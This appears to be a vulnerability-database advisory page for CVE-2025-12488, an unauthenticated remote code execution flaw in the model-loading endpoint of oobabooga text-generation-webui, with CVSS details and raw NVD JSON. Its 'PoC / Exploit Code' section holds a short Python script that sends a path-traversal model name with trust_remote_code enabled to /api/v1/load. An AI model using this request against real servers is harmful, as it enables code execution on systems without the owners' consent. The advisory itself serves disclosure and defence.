Security Vulnerability Report
中文
CVE-2025-12488 CVSS 9.8 CRITICAL

CVE-2025-12488

Published: 2025-11-06 21:15:40
Last Modified: 2026-04-15 00:35:42

Description

oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the trust_remote_code parameter provided to the load endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account. . Was ZDI-CAN-26680.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

oobabooga text-generation-webui < b5a6904c4ac4049823396090360b6f566f4e4603

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-12488 PoC - oobabooga text-generation-webui RCE via trust_remote_code # Target: text-generation-webui server with exposed /api/v1/load endpoint target_url = "http://target-server:5000" # Malicious payload to execute arbitrary code via trust_remote_code parameter # The attacker can specify a model path that contains malicious code payload = { "model_name": "../../malicious_model", # Path traversal + malicious model "trust_remote_code": True # This enables execution of arbitrary code } try: response = requests.post( f"{target_url}/api/v1/load", json=payload, timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative: Direct command execution via model loading # Attacker can craft a model config with malicious code that auto-executes

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12488", "sourceIdentifier": "[email protected]", "published": "2025-11-06T21:15:39.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the trust_remote_code parameter provided to the load endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account.\n. Was ZDI-CAN-26680."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/commit/b5a6904c4ac4049823396090360b6f566f4e4603", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-981/", "source": "[email protected]"}]}}